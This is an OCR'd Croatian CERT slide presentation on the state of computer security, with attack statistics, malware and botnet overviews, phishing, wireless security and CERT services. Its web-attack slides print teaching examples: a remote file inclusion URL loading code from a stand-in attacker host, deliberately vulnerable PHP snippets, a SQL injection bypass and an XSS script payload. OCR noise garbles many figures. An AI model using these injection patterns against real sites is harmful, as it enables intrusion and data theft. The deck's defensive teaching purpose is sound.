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Pregled stanja racunalne sigurnosti
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Glavni sigurnosni problemi

* Programske ranjivosti
= Maliciozni kod
= Socijalni inzenjering
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Uzroci sigurnosnih propusta

» Racunalne mreze su kompleksni sustavi

= Nedosljednosti i greske u softveru su
neizbjezne — programske ranjivosti
= Wietse Venema, autor Postfixa, za sebe
procjenjuje
» 1 bug na 1000 linija koda

= Npr. Solaris 7 - cca 12 milijjuna linija koda,
Windows XP — viSe od 40 milijuna linija koda

= Nedovoljno kvalitetna konfiguracija
programske podrske

= Komercijalni pritisak na proizvodace
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Trenutno stanje

« Veliki broj elektroniCkih
uredaja s mogucnostima
povezivanja i IP komunikacije

— Foto aparati, mobiteli,
digitalne kamere, prijenosna
racunala

» Rastuci broj komunikacijskih
tehnologija

—  GSM, GPRS, UMTS,
WIMAX, xDSL, FTTH

« Veliki broj dostupnih e-
commerce usluga

* Novac — danasnji glavni motiv
hakera
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Zlonamjerni softver

= Virusi I Crvi
= Trojani

= Botovi

= Rootkiti

= Exploit kod — iskoriStava neku od
programskih ranjivosti
* Poznate ranjivosti — zastita azuriranjem softvera

= Nepoznate ranjivosti — tzv. 0-day exploit, zastita
neizvjesna

= Qstali oblici

= Specificnog spektra djelovanja, ukljueni u neki
od gore navedenih tipova



Socijalni inzenjering

» Vrlo efikasna metoda ostvarivanja neovlastenog
pristupa racunalima

= Skup vjestina s ciliem nagovaranja korisnika na
ISpunjavanje zahtjeva napadaca
= Kevin Mitnick — svoje ilegalne aktivnosti uglavnom
temeljio na socijalnom inzenjeringu
= Sirok raspon koristenih tehnika
= Spam
= Hoaxi
= Phishing
» KoriStenje ostalih komunikacijskih sredstava
= |nstant messaging, peer-to-peer
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Primjer hackera

= Jeanson James Ancheta
= Dob: 20

» Koristeci trojane preuzimao je kontrolu nad
zarazenim racunalima te mrezu preuzetih
racunala prodavao spyware, spam i adware
kompanijama

= Cijena: 3000% po botnetu
= U toku godinu dana zaradio 170 000$
= U svibnju 2006. osuden na 4 godine zatvora
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Statisticki pregled stanja
sigurnosti u svijetu

= |zvori sigurnosnih napada
= |legalni posluzitelji
= Aktualni oblici napada

» Geografska rasprostranjenost
napada

» Pokazatelji za naredno razdoblje
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lzvori napada

* Predvode zemlje s najrazvijenijom
Informacijskom infrastrukturom |
najvecim brojem korisnika Interneta

= Veliki utjecaj zastupljenosti broadband
tehnologija kod kucnih korisnika
(xDSL, kabel, WIMAX)

» 31% svih oblika napada dolazi iz
Sjedinjenih Americkih Drzava
= 10% napada — Kina
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lzvorl napada

Command
Overall Overall | Malicious | Spam Host and Control = Phishing Bot Attack
Rank | Country Proportion Code Rank Server Rank | Host Rank | Rank Rank
1 United States 31% 1 1 1 1 2 1
2 China 10% 3 2 4 8 1 2
3 Germany 7% 7 3 3 2 4 3
4 France 4% 9 4 14 4 3 4
5 United Kingdom 4% 4 13 9 3 b b
b south Korea 4% 12 9 2 9 11 9
7 Canada 3% 5 23 ] 7 10 5
B Spain 3% 13 5 15 16 5 7
9 | Taiwan 3% B 11 b B 7 11
10 ltaly 3% 2 8 10 14 12 10

(izvor: Symantec)
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Infrastruktura za izvodenje
napada

Udaljeno kontrolirana osobna racunala i ilegalni posluzitel;i
llegalni posluzitelji:

= Udomljavanje laziranih web stranica, pohranjivanje i
razmjena ukradenih podataka, razmjena malicioznog koda,
informacija o propustima te pokretanje napada

» Koristenjem tehnika anonimiziranja vrlo se teSko detektiraju
Najtrazeniji podaci:

= Brojevi kreditnih i debitnih kartica

» KorisniCka imena i zaporke

= Programske ranjivosti

Prema procjeni Symanteca, 86% kreditnih i debitnih
kartica dostupnih na crnom trziStu izdano je od strane
banaka u SAD-u
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Pogodeni sektori

*= NajviSe na udaru su drzavna
administracija | edukacijske ustanove

= Napadi na vladine organizacije
uglavnom su politiCki motivirani
= NajCesce se radi o DoS napadima
= Nedavni primjer Estonije

» Akademska zajednica uglavnom sluzi
za izvodenje daljnjih napada
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Ciljevi napada

Government 25%
Education 20%
Health care 14%
25% Financial services 9%

Other 9%

Insurance 6%

Military 4%

Retail and wholesale and e-commerce 4%
Telecommunications 3%

Biotech/pharmaceutical 2%

Law enforcement 2%

Transportation 2%

14%

Figure 1. Data breaches that could lead to identity theft by sector

Source: Based on data provided by Privacy Rights Clearinghouse and Attrition.org (izvor' Symantec)
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Rast programskih ranjivosti

= U proteklih godinu dana biljezi se porast pronadenih
softverskih ranjivosti od 12%

= Ne znaci nuzno loSije proizvode, ve¢ pokazuje povecanje
koliCine energije koja se ulaze u otkrivanje ranjivosti

= Broj kritiCnih ranjivosti je u padu
» Pokazatelj povecane maliciozne aktivnosti na Internetu
= Ukupne registrirane ranjivosti po riziku u posljednjih
godinu dana
= 4% visok — ne zahtijeva nikakvu korisniCku akciju
» 69% srednji — zahtijeva odredenu korisnicku akciju
" 27% nizak
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Ukupan broj pronadenih

programskih ranjivosti
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Hllustrarion 7: Breakdown of total number of published advisories per year
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(izvor: Secunia)
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Ranjivosti koje omogucuju
privilegirani pristup sustavu

Parcant incre asa

2500
2086
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1608
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—
1020 Ma. of adviscrias
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Yaar

Tlusraion 1 Number of advisories with "sysiem access”™ as impaci (per year)

[ Extramely critical
B Highty sritical

H Moderately criical
O Less critical

B Mot critical

(izvor: Secunia)
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Utjecaji pronadenih
ranjivosti na sustav

I Expsiam acoess Ml cenial of Service [l Priviega of escalabion [ Exposws of senstive
imomaton
I Exposwrs ot system [ Enute force O wmaripuiastion ordzia [ spocing
monmanion
B Cross she sorpling [ Bscuriy bypass O Hijating O urénown

2003 2004 2005 2006
System accass 1020 1156 1608 2086
Danlal of Savice 817 950 1208 1532
Cross sita scripting 271 347 832 1164
Manipulation of data 111 52 738 810
Securlty bypass 230 403 B2 746
482 423 580 EO1
471 508 653 381
212 233 245 221
! il 135 ki (izvor: Secunia)
45 106 142 75
B 21 25 28
13 2 B i




Web aplikacije

« Web aplikacije
— Najrasireniji javni
servis na Internetu Browser vulnerabilities

Number discovered

— Internet preglednici o
 Internet Explorer
pokriva cca 90%
trzista
— CMS aplikacije
« Mambo, Joomla...

* 66% od ukupno
registriranih ranjivosti je
pronadeno u web
aplikacijama

(izvor: Secunia)
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Internet Explorer vs. Mozilla
Firefox

Microsoft Internet Explorer 6.x
Impact (Based on 64 advisories from 2003-2005)

System access (30%)

DS (4%)

Privilege escalation (0%)
Exposure sensitive info (13%)
Exposure system info {(B%)
Brute Force (0%)
Manipulation of data (1%)
Spoofing (13%)

Cross Site Scripting (10%)
Security bypass (19%)
Hijacking (2%)

Unknown {0%)

OO0 0 ODDEEDOOOM@

This graph was generated by Secunia.
Based on Secunia Advisories freely available at http

1%

11%

5%%% 14%

Mozilla Firefox 1.x
Impact (Based on 43 advisories from 2003-2007)

B System access (20%)
DoS (11%)

Privilege escalation (1%)
Exposure sensitive info (11%)
Exposure system info (5%)
Brute Force (0%)
Manipulation of data (4%)
Spoofing (18%)

Cross Site Scripting (14%)
Security bypass (14%)
Hijacking (1%

Unknown (0%

20%

14%

OE00O0oEeEEOOO0O

This graph was generated by Secunia.
Based on vulnerability information available at http://secunia.com/

0%

Microsoft Internet Explorer 7.x
Impact (Based on 11 advisories from 2003-2007)

System access (23%)
DoS (0%)
Privilege escalation (0%)
23% Exposure sensitive info (15%)
0% 0% ]
L Exposure system info (0%)
15%

Brute Force (0%)
Manipulation of data (0%)
Spoofing (38%)

Cross Site Scripting (15%)
Security bypass (8%)
Hijacking (0%)

Unknown (0%)

15%

OO0 0D DEODOOOM@

This graph was generated by Secunia.

Based on vulnerability information available at http ecunia.com;

27%

Mozilla Firefox 2.0.x
Impact (Based on 9 advisories from 2003-2007)

B System access (14%)

DoS (9%)

Privilege escalation (0%)
Exposure sensitive info (27%)
Exposure system info (5%)
Brute Force (0%)
Manipulation of data (5%)
Spoofing (14%)

Cross Site Scripting (9%
Security bypass (14%)
Hijacking (5%)

Unknown (0%)

5%050s 14%

OEO0O0OOEoEE@OOO

This graph was generated by Secunia.
Based on vulnerability information available at http://secunia.com/

(izvor: Secunia)
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Microsoft Windows XP

« QOperacijski sustav s

najvecim brojem
korisnika

Velike sigurnosne
Implikacije

Vecina
zlonamjernog koda

pisana za Windows
OS

Microsoft Windows XP Home Edition
Criticality (Based on 152 advisories from 2003-2007)

Bl Extremely (5%)

3o - O Highly (31%)
s O Moderately (31%)
E Less (25%)
O Mot (9%)
25%
31%

This graph was generated by Secunia.
Based on vulnerability information available at http://secunia.com/

Microsoft Windows XP Home Edition
Impact (Based on 152 advisories from 2003-2007)

System access (53%)
DoS (20%)

Privilege escalation (14%)
Exposure sensitive info (5%)
Exposure system info (3%)
Brute Force (0%)
Manipulation of data (1%
Spoofing (2%)

Cross Site Scripting (1%)
Security bypass (3%)
Hijacking (1%)

Unknown (0%)

OO0 0D DEODOOOM@

This graph was generated by Secunia.
Based on vulnerability information available at http://secunia.com/

(izvor: Secunia)
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Prijetnje temeljene na
socijalnom inzenjeringu

= Spam (bez zlonamjernog koda)
= 60% ukupnog e-mail prometa
» 30% financijske usluge
= 23% zdravstvene usluge
= 21% komercijalni proizvodi
* Phishing
» U prethodnih gadinu dana, porast broja
reg|str|ran|h slucajeva od 50%
= Usmijeren uglavnom na financijski sektor
» 46% phishing posluzitelja locirano je u SAD-u
= Hoax
= Bezazleni oblici | e-mail prijevare

= Koristenje instant messaging softvera
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Maliciozni kod

= Uglavnom se Siri putem SMTP protokola

* Prema Symantecu, 78% zlonamjernog koda se Siri
koriStenjem SMTP-a

» Modularni kod zamjenjuje samostojece monolithe
nametnike

= Vrlo mali instalacijski kod koji potpunu funkcionalnost postize
preuzimanjem ostalih modula putem mreze

» Prisutnost tipova nametnika
= 520 - virusi i crvi
= padsa 75% u 2005

= 45% - modularni trojani
= povecanje sa 23% u 2005

= 3% - ostali oblici

24



Botovi

Web robot — softver koji obavlja automatizirane
zadatke na Internetu

Legalni — sluze za prikupljanje informacija
ispitivanjem mreznih posluzitelja i komunikacijske
opreme

= Analiza prometa
» Analiza web sjedista
= Botovi internet pretrazivaca: Goole, MSN, Yahoo bots

llegalni — instalirani od strane virusa, sluze za
neovlasteno upravljanje raCcunalima

25



Botovi

* Vrlo rasiren nacin udaljenog upravljanja
inficiranim raCunalima

= Napadaci kontroliraju botove najceSce putem
IRC kanala

= Botnet — efikasno sredstvo za izvodenje
napada
= Vedci broj kontroliranih racunala
= Anonimnost napadaca
= Velika procesorska snaga i mrezna propusnost

= NajCesSci naCin Sirenja spama, pokretanja DDoS |
ostalih oblika napada

26
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Prisutnost botneta

& Unlted

. (6) 4%
France Poland
(3)6% (8) 3%

Spain Germa
(5) 5% (4) 6%

Ki
(Xe)y- Curmrent rank
% = Current proportion

o

T (7)4%

(izvor: Symantec)
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Sto oéekivati u narednom
razdoblju

» Potencijalno znacajniji vektori napada:
= Windows Vista
= Nove metode phishinga

* Prijenosni uredaji s mogucnoscu IP
povezivanja

* Virtualizacijski softver

29



Windows Vista

= OS razvijen u skladu s novom Microsoftovom strategijom
razvoja sigurnog softvera — Secure Development Lifecycle

»  Zbog trenutno Sirokog prihvacanja Viste na trziStu, oCekuju
se bitne implikacije na informacijsku sigurnost

» |mplementirane neke nove tehnologije za tezu zlouporabu
sustava:
= ASLR — Address Space Layout Randomization
= GS cookie — sprjeCavanje prepisivanja spremnika
= DEP - Data Execution Prevention

=  Windows Defender, Windows Firewall, User Account
Control, Bitlocker Drive Encryption, Malicious Software
Removal Tool

» (Ocekuje se povecanje koristenja socijalnog inzenjeringa

30
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Primjeri koristenih metoda napada

g1
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Ranjivosti web aplikacija

» \WWeb-aplikacije su sve popularnije

Informacijskog sustava
= Otvorene su, sve komp

broj razvojnih tehnologij

eksnije, velik
al

programskih jezika, nec

ovoljna

obucenost web programera

= Koristenje rasirenih web-aplikacija:
Joomla, phpBB, Mambo
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OWASP

= Open Web Application Security
Project

= Usmjeren je na trazenje i uklanjanje
uzroka postojanja nesigurnih web-
aplikacija

= http://www.owasp.org

= VodiC za programiranje sigurnih web
aplikacija
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Nekoliko primjera napada na
web-aplikacije

Udaljeno izvodenje koda
Napad umetanjem SQL-a

Ranjivosti formatiranja znakovnih
nizova

XSS napadi
Enumeracija korisnickog imena
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Udaljeno izvodenje koda

= Visok rizik, moze dovesti do
kompromitiranja Citavog sustava s pravima
samog web posluzitelja

= Ranjivi proizvodi u proslosti - phpBB,
Invision Board, Cpanel, Paypal cart, Drupal

= Primjer u PHP-u: ako je register _globals u
php.ini konfiguracijskoj datoteci postavljena

na on, napadac moze udaljeno inicijalizirati
prije nepostavljene varijable
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Primjer

= PHP kod: require ($page . '.php";

= Ako varijabla $page nije
Inicljalizirana, a register_globals je
postavljen na on, web-aplikacija je
ranjiva na udaljeno izvrsavanje koda
ukljucivanjem maliciozne datoteke u
$page parametar, npr.

= http://www.site.com/index.php?page
=http://www.napadac.com/napad.txt

36
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Napad umetanjem SQL-a

= Omogucuje napadacCu dohvacanje
podataka iz baze podataka koju koristi web
posluzitel

= Napad moze biti neuspjesan, rezultirati
kradom informacija ili izvrSavanjem koda i
kompromitiranjem Citavog sustava

= Ranjivi proizvodi u proslosti: PHPNuke,

MyBB, Mambo CMS, ZenCart,
osCommerce

37
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Primjer

Squery = "SELECT * FROM users
WHERE username =
LS, POSTIS U sern amatslsie:

Sresult =
mysqgl query (Squery) ;

Squery = "SELECT * FROM users
WHERE username = '' or

VY.

38
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Zastita od napada

|zbjegavanje povezivanja na bazu kao root
korisnik

Stavljanje u PHP-u magic_quotes_gpc na
on

MySQL i PHP: koriStenje funkcije
addslashes ili mysqgl real escape_string za

prilagodavanje korisnickih ulaznih podataka
prije upisivanja u bazu podataka
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Ranjivosti formatiranja
znakovnih nizova

» Ranjivost se pojavljuje kad se koristi
nefiltrirani korisniCki ulaz kao
parametar za formatiranje znakova u
Perlovim | C funkcijama koje
obavljaju formatiranje, kao sto je C-
ova funkcija printf()

= Napadac moze koristiti %s i %x za
ISpis podataka sa stoga ili drugih
lokacija u memoriji
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XSS napad

» Zahtijeva se da korisnik slijedi
maliciozni URL koji je napravljen tako
da izgleda kao legitimni link

= Nakon posjecivanja tog linka
napadac moze efikasno izvrsiti

maliciozni kod u web pregledniku
korisnika

= Neki maliciozni Javascript kod moze
se pokrenuti u kontekstu web sjedista
na kojem se nalazi XSS propust
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XSS napad (2)

» Ranjivi proizvodi u proslosti:
Microsoft [IS web server, Yahoo Mall,
Squirrel Malil, Google Search

= XSS se deSava kad se ispisuju
korisniCki ulazni podaci: na engineu
za pretrazivanje, na diskusijskom
forumu koji omogucuje skriptne
tagove, na stranicama za logiranje
koje vracaju poruke gresaka nakon
nekorektnog pokusaja logiranja

42



+ c E RT.hr

Primjer

<form action="trazi.php" method="GET"/>
<p>Unesi iIme:
<input type="text" name="ime" /><br />
<input type="submit" value="Pokreni"/>
</p><br>

</form>

<?php

echo "<p>Tvoje ime je <br />";

echo ($_GET[ime]);

?>
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Primjer - nastavak

= U ovom primjeru varijabla ime nije
ISpravno obradena prije ponovnog
ISpisa, sto se moze iskoristiti za
izvrSavanje skripte:

= http://sjediste.com/index.php?ime=<s
cript>code</script>
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Enumeracija korisnickog
Imena

= Validacijska skripta napadacu vraca
informaciju da li je uneSeno korisniCko ime
Ispravno ili neispravno

» Uz pomoc razli€itih poruka o greSkama
napadacC moze eksperimentirati s razlicitim
korisnickim imenima

* Protumjere: prikazivanje konzistentnih

poruka o greskama i zabrana koriStenja
trivijalnih korisnickih imena i lozinki
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Ranjivosti popularninh web-
aplikacija

= Joomla, phpBB, Mambo

= Ranjivosti | maliciozni kod za njihovo
Iskoristavanje Cesto su dostupni
javno — npr. http://www.milwOrm.com/

» Svatko moze postati napadacC

46



+ c E RT.hr

Nezeljena posta (spam)

» Jedan od najcCescih incidenata s
Izvorom na CARNetovim
ustanovama

= Rijetko je rijeC o ciljanom spamu,
vecinom se radi o malicioznom
programu koji bez znanja korisnika
Salje spam
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Mjere zastite za krajnje
korisnike

* E-mail adresa ne smije se javno objavljivati

= Ne smiju se slijediti linkovi u spam
porukama

= Koristenje anti-spam filtera u klijentu za
Citanje e-maila

= Ne pretplacujte se na mailing-liste web

sjedista za besplatne servise koje salju
obavijesti 0 novim proizvodima
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Mjere zastite za
administratore

= Ne dozvolite da vas server bude
open mall relay

= Uklanjanje ranjivinh skripti i azuriranje
posluzitelja

= Koristenje black lista, white lista ili
grey lista

= Koristenje anti-spam alata

49
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Hoax

= Poruka elektroniCke poste neistinitog
sadrzaja, poslana s ciljem
zastrasivanja ili dezinformiranja
primatelja

» Cilj hoaxa je prosljedivanje poruke na
sto veci broj adresa, pri tome ih
primatelji doista i prosljeduju jer su
uvjereni da time pomazu drugima
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Hoax(2)

* NajCesci oblici: hoaxi kao upozorenja
o stetnim programima, lanci srece |
zarade, lazni zahtjevi za pomoc,
zastraéujuc’:i | prijeteCi hoaxi, lazne
peticije, kompromitirajuci hoaxi,

pezazleni hoaxi

= Hoax recognizer usluga —

noax@cert.hr

B 1
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Bothet

Najrasirenija metoda distribucije spama

Mreza zarazenih racunala koja primarno
sluzi za obavljanje ilegalnin mreznih
aktivnosti

Bot je automatizirani softverski program koji
moze izvrsavati odredene naredbe

Botnet predstavlja vecu skupinu racunala
koje su kompromitirali botovi te su sva
racunala povezana s centraliziranim
upraviteljem kojeg napadac koristi za
izdavanje malicioznih naredbi
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Botnet (2)
C@®%-LS
®

S mese
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Protumjere

= Kako bi pokrenuli botove napadaci
kompromitiraju korisniCka racunala
Iskoristavanjem sigurnosnih propusta ili
koristenjem tehnika socijalnog inzenjeringa

* Proces gasenja cijelog botnet sustava je
slozen— sigurnosni strucnjaci se uglavnom
fokusiraju na gasenje programa za
upravljanje | na podizanje razine sigurnosti
racunala kako ne bi postala botovi
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Phishing

= Rasprostranjeni oblik online prijevare

= Slanje laznih e-mail poruka, koje
vizualno izgledaju poput pravih e-
mail poruka poznatih tvrtki

= Osnovna svrha ovih laznih poruka
jest prijevarom doci do osobnih |
povijerljivin korisniCkih informacija
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Prepoznavanje phishing
poruke

= U poruci se traze osobni podaci

* Hithost

= [Lazirani linkovi

* Tijelo (body) e-mail poruke je slika
* Nerealna obecanja
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Tehnike provodenja
phishing napada

» Maskiranje URL adresa

* Presretanje komunikacije

* Propusti u web-aplikacijama
» Lazirane HTML e-mail poruke

* Prikupljanje podataka pracenjem
aktivnosti korisnika — keylogger
programi

= Ranjivosti unutar web preglednika
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Zastita od phishing napada

= Edukacija korisnika
» Snazna autentikacija korisnika

= Obracanje pozornosti na sigurnost pri
razvoju web-aplikacija
= Sigurnost e-mail posluzitelja

= Digitalno potpisivanje poruka
elektroniCke poste
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Primjer phishing e-maila

As part of our continuing commitment
to protect your account (...)

by following the link given below
http://arribba.cgi3.ebay.com/aw-
cgi/ebaylSAPI.dII?Updatelnformation
Confirm&bpuser=1

Please fill in the required information.

(...)
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Primjer lazirane web
stranice

¥)sign In - Mozilla Firefox l =& x|
File Edit Yiew Go Bookmarks Tools Help

<§| > E> 7 [@ @ ID http: /S~ eb/ebay| -1] © o I@
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L[ Osoba |_[ Sign In |_] BLIC.MET Internet Services I @Remove Dialers removal instructions |
ehY i
SignIn Help
New to eBay? or  Already an eBay user?
If you want to sign in, you'l eBay members, sign in to save time for bidding, selling, and other activities.

t ister first.
need to register first eBay User ID

Registration is fast and free.

e Forgot your User ID?
egister > |

Password

Forgot your password?

Sign In Securely > I

[T Keep me signed in on this computer unless | sign out.

) Account protection tips
Be sure the Web site address you see above starts with https:#signin.ebay.com/

Microsoft Passport users click here.

About eBay | Announcements | Security Center | Policies | Site Map | Help

Copyright @ 1995-2005 eBay Inc, All Rights Reserved. Designated trademarks and brands are the property of their respective owners. Use of this Web site [Emip e o) ||
Find: Idiale (© Find Mext (©) Find Previous || Highlight [~ Match case
| Done

wstartl ] & @ anboxf...l & Obrada... C:\WIN..."O Sign In... anboxf...l 5] Dialer.... l |57 Dnevni... | €9 cn#10..., | @ view-s... | A Compo... | «n W 10:26
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Rootkit

= Skup alata za skrivanje malicioznog
softvera

= Aplikacijski — zamjenjuju se legitimne
sistemske aplikacije s malicioznim
datotekama koje skrivaju

napadacevu prisutnost | ne zapisuju
aktivnosti koje napadac izvodi

= Kernel rootkit programi — postavljeni
SuU na razini jezgre operacijskog
sustava
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Kernel rootkit

process

—————————— }——————— process—kernel boundary ------------

system call bandler

k system call jump table

| l |

evil chdir()  evil ofr:n() evil getdents()

l

real chdir{()  real open() real getdents()
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Sigurnost wireless mreza

= BeziCno povezivanje na Internet je
sve popularnije

= Velika prednost je mobilnost

= Zlonamjerni korisnici koji se
neovlasteno povezu na nedovoljno
zastiCenu wireless mrezu mogu

prouzrociti mnoge sigurnosne
probleme
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Sigurnosne prijetnje

» Pasivni napadi - prisluskivanje,
analiza prometa

= Aktivni napadi - maskiranje,
modifikacija poruke, uskracivanje
racunalnih resursa
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Wardriving

» Jednostavno otkrivanje zasticenih i
nezasti¢enih pristupnih toCaka

= Osnovna oprema: prijenosno
racunalo ili PDA i beziCna kartica

= Dodatna oprema: eksterna antena,
GPS uredaj i sl.
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Wardriving (2)

= Komercijalni alati— Sniffer Wireless,
Airopeek

= Open source alati — Kismet,
NetStumbler, Airsnort, Wellenreliter

= http://www.wardrive.net/
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Zastita wireless mreze

» Filtriranje MAC ID-ova
= SSID

» WEP (Wired Equivalent Privacy) - Stiti
podatke na sloju podatkovne veze

* Nije zadovoljio niti jedan od tri cilja s kojim
je stvoren: pouzdana autentifikacija

korisnika, zastita privatnosti podataka te
autorizacija korisnika
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Zastita wireless mreze

» 802.11i standard — kao enkripcijski
algoritam se koristi AES, a za
mehanizam autentikacije se koristi
802.1X standard

= WPA (Wi-Fi Protected Access) -
kompatibilnost s postojecom
mreznom opremom

= WPA2 — umjesto RC4 kao
enkripcijski se algoritam koristi AES
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CARNet Abuse sluzba i CERT
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Abuse sluzba

= Svaki ISP ima svoju Abuse sluzbu

= Bavi se zaprimanjem | obradom
prijava u koje su ukljuceni korisnici
ISP-a

= CARNet Abuse sluzba ima za cilj
zaprimanje | obradivanje prijava
vezanih uz racunalno sigurnosne
Incidente 1 zloupotrebu CARNetovih
resursa
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Sadrzaj ispravne prijave

= Kratki opis incidenta

* |zvod iz log datoteke — minimalno 5-
10 redova loga koji ukljuCuju:
» |P adresu napadaca

» datum, toCno vrijeme | vremensku zonu
napada

= E-mail prijavljivaca incidenta
= abuse@carnet.hr
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Prijava incidenta

* TreCim osobama sluzba dostavlja
podatke iskljuCivo na zahtjev policije
Il na osnovu sudskog naloga

= Abuse FAQ -
http://www.carnet.hr/abuse/faq

= |ncident prijaviti nadleznoj Abuse
sluzbi — whols servis

» http://www.fr2.cyberabuse.org/whois/
?page=whois_server
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Raspodjela internetskih
adresa

IANA
Internet Assigned
Numbers Authority

l

AFRINIC
African Network
Information
Centre

RIPE NCC APNIC ARIN LACNIC
RIPE Network Asia Pacific American Registry Latin American and
Coordination Network Information for Internet Caribbean IP Addres
Centre Numbers Regional Registry
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CERT

= ccert@cert.hr

= Uspostava koordinacije u rjesavanju
sigurnosnih incidenata u kojima je
barem jedna ukljuCena strana iz
Hrvatske

» Edukacija korisnika | rad na
prevenciji sigurnosnih incidenata

= Www.cert.hr
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Ciljevi rada CARNet CERT-a

» Prikupljanje i analiza informacija o
sigurnosnim incidentima, koordinacija |
posredovanje izmedu zainteresiranih strana
pri rjeSavanju sigurnosnih incidenata

» Prikupljanje i distribucija sigurnosnih
savjeta, preporuka | alata

= Edukacija i informiranje korisnika i javnosti
0 znacaju i poboljsanju sigurnosti
racunalnih sustava
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Ciljevi rada CARNet CERT-a
(2)

= Pokretanje projekata | uspostava
timova o sigurnosnim problemima |
objavljivanje rezultata rada

* Medunarodna suradnja s ostalim
CERT timovima preko Clanstva u
Forum of Incident Response and
Security Teams
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Usluge Odjela za racunainu
sigurnost

77



Usluge

» Provjera ranjivosti informacijskih
sustava

» |zdavanje sigurnosnih preporuka
= Sigurnosni dokumenti

* ARMS

= SCS

= Hoax recognizer

= Brosura za krajnje korisnike

= Konzultantske usluge
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Provjera ranjivosti

= Testovi ranjivosti informacijske
Infrastrukture ustanova

= Rezultati provjere sadrze pronadene
ranjivosti I upute za njihovo
rjeSavanje

= Usluga je besplatna za punopravne
clanice

= [spitivanja se vrse koristeCi Nessus |
Security Shadow Scanner alata

= Trenutno 40 ustanova koristi uslugu

79



+ C E RT.hr

Sigurnosne preporuke

» Sazeci originalnih sigurnosnih
preporuka na hrvatskom jeziku

» CERT Iizdaje sigurnosne preporuke
za 15 operacijskih sustava:
= \Windows 2000, Windows XP, Windows
2003, SUN Solaris, Hewlett-Packard,
Red Hat, Debian, SUSE, Mandarke

Linux, Cisco Systems, FreeBSD,
Fedora, Gentoo, Ubuntu, Apple Mac OS

= 1794 preporuke u 2006.
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Sigurnosni dokumenti

= Pokrivaju tematiku informacijske
sigurnosti:

= Kriptografija, AAl, forenzika, analiza
alata, mreza, vatrozidi, virusi i crvi,
analiza ranjivosti, opcenite teme

» 3 dokumenta mjesecno
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ARMS

» AIDE Repository Management Suite

= AIDE — programski paket namijenjen
detekciji izmjena u datoteCnom sustavu
usporedbom hasheva datoteka

= Usporeduje se trenutno stanje sustava s nekim
referentnim ispravnim stanjem

= ARMS

= Mrezni posluzitelj — pohrana sazetaka datoteka

= Klijent —instalira se lokalno te sluzi za
pohranjivanje i dohvacanje sazetaka sa
posluzitelja

» Posluzitelj: arms.carnet.hr
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e ] arws postuziel

Dva ra€unala s izmijenjenim sistemskim datotekamal!
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SCS

= Server Certificate Service

= Posluziteljski certifikati potpisani od strane
globalno priznatog certifikacijskog autoriteta

= SureserverEDU certifikati pd GTE
Cybertrust Global Root CA

» Usluga dostupna svim NREN-ovima
clanovima TERENA-e

= CARNet izdaje SureserverEDU certifikate
svim punopravnim clanicama

= Potrebna je registracija ustanove za ovu uslugu
= Vise detalja na http://www.carnet.hr/scs
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Hoax recognizer

Usluga prepoznavanja
potencijalnih hoax e-
mail poruka

Slanjem sporne poruke Adrinsrsor
na hoax@ecert.hr vrsi se
njeno usporedivanje s
nekim od poznatih
hoaxa u bazi

Sustav sadrzi bazu s
nekoliko tisu¢a uzoraka
hoax poruka

Sustav za

prepoznavanje
hoaxa

Baza podataka

BLOK SHEMA KOMPONENTI SUSTAVA

Vanjski korisnik
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Kraj!

Darko.Androcec@CARNet.hr

Branko.Mazar@CARNet.hr
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